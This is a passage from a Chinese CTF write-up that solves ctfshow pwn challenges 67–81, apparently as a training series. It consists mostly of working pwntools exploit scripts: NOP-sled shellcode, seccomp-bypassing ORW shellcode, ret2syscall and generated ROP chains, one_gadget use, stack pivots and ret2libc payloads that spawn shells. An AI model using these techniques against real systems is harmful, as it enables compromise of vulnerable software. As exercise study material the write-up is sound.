也就是说我们往 shellcode 前填充足够多的 nop,控制程序的执行流从我们nop指令开始执行,那么程序就会一直执行我们之前填入的nop,执行nop之后就是我们的shellcode了
回到题目,最坏的情况是 position = v1 +1336,(假设我们已经让position + 668 了 ),那我们就填入 1336 个 nop,这样在 [v1,v1 +1336] 范围内我们都可以执行到 nop,然后一路滑向 shellcode
payload = flat([b"\x90"*1336,shellcode])
\x90 就是 nop 十六进制编码
v5_addr = eval(io.recvuntil("\n",drop=True))
padding = 12
v1_seed = 0x15+4+4+padding
sh_addr = hex(v5_addr+668+v1_seed)
v5_addr+668 使得 position 属于 [v1,v1 +1336],然后加上 v1 到 seed 的偏移量代表这就是 seed 地址 ,最后 hex 是因为 __isoc99_scanf(“%p”, &v5);所以不能再字节发送了得发字符串.
shellcode = asm(shellcraft.sh())
io.recvuntil("The current location: ")
v5_addr = eval(io.recvuntil("\n",drop=True))
padding = 12
v1_seed = 0x15+4+4+padding
print(hex(v5_addr))
payload = flat([b"\x90"*1336,shellcode])
sh_addr = hex(v5_addr+668+v1_seed)
n
sla("What will you do?\n> ",payload)
sla("Where do you start?\n> ",sh_addr)
pwn 68
上一题的 64 位版本,同理
pwn 69
可以尝试用ORW读flag flag文件位置为/ctfshow_flag
检查一遍啥也没开,又可以 shellcode 了.
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL); 分配一个内存空间供我们操作,6 是权限,可写可执行.
seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);
seccomp(SECure COMPuting)安全计算是 Linux 内核 2.6.12 版本引入的安全模块,主要是用来限制某一进程可用的系统调用 (system call)。关于细节这里不再讲述(我也不太懂),总之还是注意seccomp_rule_add()的第三个参数,这里是[0, 1, 2, 60]
,代表只有这四个syscall可用,分别是[read, write, open, exit]
。很显然这是道ORW类的题目,我们要打开(Open)包含flag的文件,读(Read)它,然后写(Write)到控制台上。
seccomp-tools dump ./pwn
查看沙箱,确实只有 read,open,write 可用
ORW 的固定 payload
shell_code = shellcraft.open("/ctfshow_flag")
shell_code += shellcraft.read(3,mmap_addr,0x100)
shell_code += shellcraft.write(1,mmap_addr,0x100)
shell_code = asm(shell_code)
操作符,3 是代表打开的 ctfshow_flag 文件,操作系统会默认将0、1、2分别给标准输入、标准输出和标准错误,此时要打开一个文件时,系统就会将files_struct数组中下标最小的3开始分配.
文件标识符(fd)和FILE结构体_file和fd-CSDN博客
继续看
read(0, buf, 0x38uLL);
找到劫持对象了,read函数除了能覆盖ret外,还能造成8字节的溢出。怎么利用这八字节从而实现ORW就成了问题所在
ORW 放在 buf 肯定不可行,只有 0x20 ,不够用(长度 93,所以我们只能选择吧 ORW 放在 mmap 分配的地址.这片内存可写可执行
怎么写进去呢?
通过ROPgadget可以看到程序中存在一条“jmp rsp”的gadget。众所周知,rsp是栈顶指针寄存器,那意味着我们可以通过这条指令跳转到当前栈顶处然后执行我们布置在栈上的shellcode从而实现ORW
ayload = flat([(asm(shellcraft.read(0,mmap_addr,0x100))+asm("mov rax,0x123000; jmp rax")).ljust(0x28,b'a'),jmp_rsp,asm("sub rsp,0x30; jmp rsp")])
先看返回地址,为 jmp rsp 指令的地址,执行完 leave 执行 ret 时, 地址出栈并且被 RIP 拿到了,然后执行 jmp rsp
这时 RSP 指向了一个也就是 asm(“sub rsp,0x30; jmp rsp”),于是乎就开始执行 sub rsp,0x30; jmp rsp ,
rsp - 0x30 不就是 rsp - 8 - 8 -0x20 = buf 起始地址吗,而 buf 和 rbp 已经写下 shellcode
(asm(shellcraft.read(0,mmap_addr,0x100))+asm("mov rax,0x123000; jmp rax")).ljust(0x28,b'a')
长度为 30 小于 0x28… .
-
shellcraft.read(0,mmap_addr,0x100)
mmap 分配的地址被写入 0x100 的内容,(这里就可以发送 ORW 了)
-
mov rax,0x123000; jmp rax
是为了从 mmap 分配的地址开始执行代码
mmap_addr = 0x123000 jmp_rsp = 0x400A01 shell_code = shellcraft.open("/ctfshow_flag") shell_code += shellcraft.read(3,mmap_addr,0x100) shell_code += shellcraft.write(1,mmap_addr,0x100) shell_code = asm(shell_code) payload = flat([(asm(shellcraft.read(0,mmap_addr,0x100))+asm("mov rax,0x123000; jmp rax")).ljust(0x28,b'a'),jmp_rsp,asm("sub rsp,0x30; jmp rsp")]) sla("do\n",payload) sl(shell_code)
pwn 70
可以开始你的个人秀了 flag文件位置为/flag
seccomp-tools dump ./pwn
查看沙箱 ,execve 被 kill 了
提示我们 orw,但是 read 有长度限制.自己写 shellcode (我网上搜的
shellcode = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
还有一个问题,会校验每一个字符是否可打印.
for ( i = 0; i < strlen(a1); ++i )
{
if ( a1[i] <= 31 || a1[i] == 127 )
return 0LL;
}
return 1LL;
因为是 strlen,所以可以找 \x00 开头的 shellcode,(见 pwn 66
shellcode = b"\x00\xc0"+asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')
sl(shellcode)
或者,可能这道题 ban 的是 execve,而 cat 用的是 open 调用
shellcode = b'\x00\xc0' + asm(shellcraft.cat('flag'))
pwn 71
题目提示 32 位的 ret2syscall
看了一下只开了 NX 保护,且静态编译。那我们赶紧找一下 gadgets 吧
ROPgadget --binary ./pwn --only "pop|ret"|grep eax
ROPgadget --binary ./pwn --only "pop|ret"|grep ebx
ROPgadget --binary ./pwn --string "/bin/sh"
ROPgadget --binary ./pwn --only "int"
padding = 112
edx_ecx_ebx = 0x0806eb90
eax_pop = 0x080bb196
binsh = 0x080be408
int0x80 = 0x08049421
payload = flat([cyclic(padding),edx_ecx_ebx,0,0,binsh,eax_pop,0xb,int0x80])
pwn 72
这次没给 binsh 字符串,那我们只能先系统调用 read 往 bss 的可写入区域写入 /bin/sh ,然后系统调用 execve。
padding = 44
edx_ecx_ebx = 0x0806ecb0
eax_pop = 0x080bb2c6
bss_addr = 0x80eb000
int0x80 = 0x0806F350
payload = b'a'*padding
payload += p32(eax_pop) + p32(0x3)
payload += p32(edx_ecx_ebx) + p32(0x10) + p32(bss_addr) + p32(0)
payload += p32(int0x80)
payload += p32(eax_pop) + p32(0xb)
payload += p32(edx_ecx_ebx) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int0x80)
sl(payload)
bin_sh = b"/bin/sh\x00" # 加 \x00 截断,不然会把换行符也当参数读进去了
sl(bin_sh)
inter()
当然 bin_sh 不带 00 截断也可以,那 read 的 edx 参数就要规定在 7 了。
pwn 73
还是静态文件,只开了 NX 保护。
我原本想和上一题一样的,但是不行,搜了一下没有 execve 这个函数。题目提示一把梭,用 用ROPgadget来帮助我们构造一个ROP链(自己构造也行,和上一题一样
ROPgadget --binary pwn --ropchain
直接拿生成的脚本打即可
p = b'a'*padding
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
pwn 74
噢?好像到现在为止还没有了解到one_gadget?
查看保护全开了。
可以看到,这里程序输出了printf函数的地址,然后通过__isoc99_scanf函数从用户输入中读取一个长整数,并将其存储在v4数组的第一个元素中。
再将v4数组的第一个元素的值赋给了数组的第二个元素。继续通过函数指针调用了v4数组的第一个元素所指向的函数。这个部分利用函数指针的特性,将其转换为函数并进行调用。从伪代码中我们能得到这些。使用用户输入来获取函数指针,并通过函数指针调用相应的函数。需要注意的是,这种通过用户输入来获取函数指针并调用函数的做法极有可能会带来安全隐患,因为恶意用户可以输入不安全的函数指针,导致程序出现问题。
开了一堆保护,这咋溢出,后面才知道这道题只是了解一下 one_gadget ,师傅说就当我们已经知道 libc 版本了,直接用 ctfshow 本地的 libc
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
再了解一下重头戏 one_gadget。
one_gadget是libc中存在的一些执行execve(“/bin/sh”, NULL, NULL)的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell。相比于system(“/bin/sh”),这种方式更加方便,不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。就是直接找 libc 库里可以直接用的函数调用
使用方法:
one_gadget /lib/x86_64-linux-gnu/libc.so.6
可以看到给了三个,不过有约束条件,canstrains 就是约束。我们一个一个试即可,第三个刚好可以用
execve = 0x10a2fc
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
io.recvuntil("this:")
printf_addr = eval(io.recvuntil("?",drop=True))
libc_base = printf_addr - libc.sym['printf']
execve = execve + libc_base
sl(str(execve))
我们拿到这个偏移地址,加上得到的基地址就是 onegadget 的真实地址了,直接发过去即可
pwn 75
只开启了 NX 保护,打开 ida 分析
两个 read,但是缓冲区长度不够,只能溢出 8 个字节,刚好到返回地址。栈空间不够想到用栈迁移
栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)
先第一个 printf 泄露 rbp 指向的地址(其实就是调用函数的旧 rbp 的地址(printf 这一输出函数,该函数在未遇到终止符 ‘\0’ 时会一直输出。利用该特性可帮助我们泄露出栈上的地址,从而能计算出要劫持到栈上的准确地址。
padding = b'a'*0x27 + b'B'
io.send(padding)
io.recvuntil("B")
rbp_addr = u32(io.recv(4))
然后我们知道 leave 等价于 mov rsp,rbp; pop rbp.恢复栈结构。rbp 就回到了调用函数的旧 rbp,如果我们再找一个 leave,ret。那么就可以控制 rsp 了。
我们先动态调试一下 旧的 rbp 到 缓冲区开始的偏移量
可以计算出是 0x38
ctfshow 函数正常执行到leave指令时, ebp 寄存器将被赋予 old_ebp -0x38,而之后执行 ret(即第二个 leave ret)时, esp 将随之被覆盖为该值,因此该payload已然能实现将 esp 劫持至 old_ebp -0x38处的栈迁移效果了
查找 leave ret 片段
ROPgadget --binary ./pwn | grep leave
这道题给了 system,所以我们往缓冲区写入 /bin/sh\x00 参数。这个地址依然用 旧的 ebp 地址加上一段偏移量
payload =b'aaaa' + p32(sys_addr) + p32(0xdeadbeef)
payload += p32(rbp_addr - 0x28)
payload += b'/bin/sh\x00'
payload = payload.ljust(0x28,b'a')
payload += p32(rbp_addr - 0x38)
payload += p32(leave_ret)
rbp_addr - 0x28 是因为read进的 /bin/sh\x00 字符串 在 缓冲区开始的 16 字节偏移处(ebp_addr - 0x48 + 4+4+4+4
exp:
padding = b'a'*0x27 + b'B'
io.send(padding)
io.recvuntil("B")
rbp_addr = u32(io.recv(4))
leave_ret = 0x080484d5
sys_addr = elf.sym['system']
print(hex(rbp_addr))
payload =b'aaaa' + p32(sys_addr) + p32(0xdeadbeef)
payload += p32(rbp_addr - 0x28)
payload += b'/bin/sh\x00'
payload = payload.ljust(0x28,b'a')
payload += p32(rbp_addr - 0x38)
payload += p32(leave_ret)
sl(payload)
inter()
pwn 76
只开启了 NX 保护
_isoc99_scanf("%30s", s);
输入字符串
v7 = Base64Decode(s, &v5);
对 s 进行 base64 解密,v7 是解密后字符串长度。
if ( v7 > 0xC )
{
puts("Input Error!");
}
如果字符串长度 > 12,则不执行后面内容
memcpy(&input, v5, v7);
这道题是应该也算一道栈迁移,在 auth 的 memcpy中,input 的内容会被复制到目的地址 v4,目的地址v4所在的位置是[ebp-8],所以当长度 = 0xC(十进制 12) 的时候,就会覆盖ebp寄存器所指向的栈基地址。在main函数中,还有一个memcpy,把解码后的数据copy填充到了input地址处,在程序关闭PIE的情况下,input的地址已知,我们可以通过栈劫持指针的方式,把数据布置到input所在的bss段:
就是说我们通过修改 auth 里的 ebp 指向的值(只能修改到这了,长度限制在了 12,v4 到 ebp 为8,最多只能修改到 ebp ,影响不到 返回地址
好在题目给了 system(‘/bin/sh’),所以我们控制 auth 的 ebp 指向地址为 input 地址后,main 函数结束后,执行 leave 时,mov esp,ebp。就会让 esp 指向 input 地址段。那我们在 input 地址段布置 system(‘/bin/sh’) 地址即可
sh_addr = 0x08049284
input_addr = 0x0811EB40
payload = b'aaaa' + p32(sh_addr) + p32(input_addr)
注意 system(‘/bin/sh’) 的地址要从参数开始
为什么不直接 p32(sh_addr)开始呢,因为 main 函数执行完 leave,相当于 mov,esp,ebp; pop ebp;
这样 esp 就 成了 ebp + 4 了,相当于 input地址 + 4,所以前四个字节填充垃圾数据
最后最后记得 base64 编码一遍
payload = base64.b64encode(payload).decode('utf-8')
pwn 77
只开了 NX 保护,跟进 ctfshow 函数,发现是一个实现类似 gets 功能的
while ( !feof(stdin) )
{
v3 = fgetc(stdin);
if ( v3 == 10 )
break;
v0 = v4++;
v2[v0] = v3;
}[函数]()
循环每次从输入流读入一个字符,如果是换行符就 break。
那我们就可以利用这一点来 ret2libc 了,这里有一个很坑的地方,v4 距离 rbp 4 个字节,所以我们栈溢出的时候会把 v4 也覆盖了,而 v4 是我们用来控制数组下标的,覆盖了的话就乱了,所以我们得注意 v2 输入 到 ebp - 4 的时候计算 v4 的值还原回去,这时的 v4 = 0x110 - 4 +1 = 0x10d.
exp
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']
rdi_ret = 0x4008e3
ret = 0x400576
payload = flat([cyclic(0x110-4),p32(0x10d),cyclic(8),rdi_ret,puts_got,puts_plt,ctfshow])
sl(payload)
real_addr = get_64addr()
libc = LibcSearcher("puts",real_addr)
libc_base = real_addr - libc.dump('puts')
sys,binsh = get_32sb_libcsearch()
payload2 = flat([cyclic(0x110-4),p32(0x10d),cyclic(8),ret,rdi_ret,binsh,sys])
sl(payload2)
pwn 78
1、想办法调用execve("/bin/sh",null,null)
2、借助栈来传入字符串/bin/sh
3、系统调用execve
rax = 0x3b(64bit)
rdi = bin_sh_addr
rsi = 0
rdx = 0
还有 int 0x80 换成 syscall
注意这里的 syscall 不能是单纯的 syscall,必须是这种下面跟着 retn 的 syscall
然后这道题没给 /bin/sh,且 64 位 read 函数系统调用号是 0,execve 是 0x3b
所以 exp
padding = 0x50+8
rdx_rsi_ret = 0x4377f9
rdi_ret = 0x4016c3
rax_ret = 0x46b9f8
bss_addr = 0x6c1c40
syscall_ret = 0x45BAC5
payload = b'a'*padding
payload += p64(rax_ret) + p64(0x0)
payload += p64(rdi_ret) + p64(0)
payload += p64(rdx_rsi_ret) + p64(0x10) + p64(bss_addr)
payload += p64(syscall_ret)
payload += p64(rax_ret) + p64(0x3b)
payload += p64(rdi_ret) + p64(bss_addr)
payload += p64(rdx_rsi_ret) + p64(0) + p64(0)
payload += p64(syscall_ret)
sl(payload)
bin_sh = b"/bin/sh\x00" # 加 \x00 截断,不然会把换行符也当参数读进去了
sl(bin_sh)
inter()
web 79
ctfshow 函数里 strcpy 会把 input 区的数据复制到缓冲区,因为没限制复制长度而造成溢出
什么也没开,直接 ret2libc
padding = 0x208 + 4
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload = flat([cyclic(padding),puts_plt,main,puts_got])
sl(payload)
real_addr = get_32addr()
libc = LibcSearcher("puts",real_addr)
libc_base = real_addr - libc.dump('puts')
sys,binsh = get_32sb_libcsearch()
payload2 = flat([cyclic(padding),sys,0xdeadbeef,binsh])
sl(payload2)
下面讲一下 ret2shellcode 的做法。我们在 ctfshow 的 leave 处打一个断点,查看一下各大寄存器状态
disass ctfshow
b *0x080486ad
然后运行程序
可以看到 ret 前 eax ,ecx,edx寄存器指向缓冲区,那我们就可以找 jmp eax,或者 call eax 片段来覆盖返回地址,缓冲区内填充 shellcode
ROPgadget --binary ./pwn --only "ret"
padding = 0x208 + 4
shellcode = asm(shellcraft.sh())
call_eax = 0x080484a0
payload = flat([shellcode,b'a'*(padding - len(shellcode)),call_eax])
pwn 81
开启 pie 保护,但是泄露了 system 地址,直接 ret2libc,但是泄露了 system 地址
real_addr = int(io.recvline(),16)
print(hex(real_addr))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_base = real_addr - libc.symbols['system']
padding = 0x80 + 8
rdi_ret = libc_base + 0x2164f # pop_rdi_ret
ret = libc_base + 0x8aa # ret
sys_addr,binsh_addr = get_64sb()
payload = flat([cyclic(padding),ret,rdi_ret,binsh_addr,sys_addr])